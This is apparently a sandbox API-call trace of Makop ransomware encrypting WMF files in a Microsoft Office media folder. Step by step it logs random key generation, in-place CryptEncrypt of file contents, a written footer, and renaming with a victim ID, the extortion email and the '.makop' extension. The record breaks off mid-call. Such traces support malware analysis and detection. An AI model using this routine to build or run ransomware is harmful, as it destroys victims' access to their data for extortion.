[0163.870] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.870] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.871] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.871] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2448, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2448, lpOverlapped=0x0) returned 1 [0163.872] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2450, dwBufLen=0x2450 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2450) returned 1 [0163.872] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.872] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2450, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2450, lpOverlapped=0x0) returned 1 [0163.873] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.873] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.873] SetEndOfFile (hFile=0xf0) returned 1 [0163.880] GetProcessHeap () returned 0x48a0000 [0163.880] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.880] GetProcessHeap () returned 0x48a0000 [0163.880] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.880] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.880] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.883] CloseHandle (hObject=0xf0) returned 1 [0163.883] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d3c7300, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d3c7300, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x2a12, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285698.WMF", cAlternateFileName="")) returned 1 [0163.883] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF") returned 61 [0163.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.885] GetProcessHeap () returned 0x48a0000 [0163.885] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.885] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.885] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.886] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0163.889] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.889] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.889] GetProcessHeap () returned 0x48a0000 [0163.889] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.890] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.890] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.890] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.890] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.890] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.890] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.891] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.891] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.891] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.891] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.892] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.892] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2a12, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2a12, lpOverlapped=0x0) returned 1 [0163.893] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a20, dwBufLen=0x2a20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a20) returned 1 [0163.893] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.894] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2a20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2a20, lpOverlapped=0x0) returned 1 [0163.894] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.894] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.894] SetEndOfFile (hFile=0xf0) returned 1 [0163.900] GetProcessHeap () returned 0x48a0000 [0163.900] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.901] GetProcessHeap () returned 0x48a0000 [0163.901] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.901] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.901] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.903] CloseHandle (hObject=0xf0) returned 1 [0163.903] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ecd1e00, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ecd1e00, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x958c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285750.WMF", cAlternateFileName="")) returned 1 [0163.904] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF") returned 61 [0163.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.905] GetProcessHeap () returned 0x48a0000 [0163.905] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.905] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.906] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.906] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.912] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.912] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.912] GetProcessHeap () returned 0x48a0000 [0163.912] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.912] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.912] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.912] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.912] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.912] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.913] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.913] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.913] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.913] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.913] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.913] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.913] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x958c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x958c, lpOverlapped=0x0) returned 1 [0163.916] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9590, dwBufLen=0x9590 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9590) returned 1 [0163.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.916] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9590, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9590, lpOverlapped=0x0) returned 1 [0163.917] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.917] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.917] SetEndOfFile (hFile=0xf0) returned 1 [0163.924] GetProcessHeap () returned 0x48a0000 [0163.924] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.924] GetProcessHeap () returned 0x48a0000 [0163.925] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.925] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.925] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.928] CloseHandle (hObject=0xf0) returned 1 [0163.928] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95908100, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95908100, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x3452, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285926.WMF", cAlternateFileName="")) returned 1 [0163.928] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF") returned 61 [0163.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.929] GetProcessHeap () returned 0x48a0000 [0163.929] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.929] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.930] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.930] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0163.934] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.934] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.934] GetProcessHeap () returned 0x48a0000 [0163.934] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.934] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.934] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.934] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.934] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.934] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.934] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.935] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.935] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.935] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.935] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.935] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.935] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3452, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3452, lpOverlapped=0x0) returned 1 [0163.937] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3460, dwBufLen=0x3460 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3460) returned 1 [0163.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.937] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3460, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3460, lpOverlapped=0x0) returned 1 [0163.937] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.937] SetEndOfFile (hFile=0xf0) returned 1 [0163.944] GetProcessHeap () returned 0x48a0000 [0163.944] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.944] GetProcessHeap () returned 0x48a0000 [0163.944] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.944] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.944] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.946] CloseHandle (hObject=0xf0) returned 1 [0163.946] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf49a800, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbf49a800, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0286034.WMF", cAlternateFileName="")) returned 1 [0163.946] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF") returned 61 [0163.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.949] GetProcessHeap () returned 0x48a0000 [0163.949] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.949] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.949] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.949] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.949] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.949] GetProcessHeap () returned 0x48a0000 [0163.949] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.950] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.950] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.950] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.954] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.954] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.954] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.954] SetFilePointerEx (in: 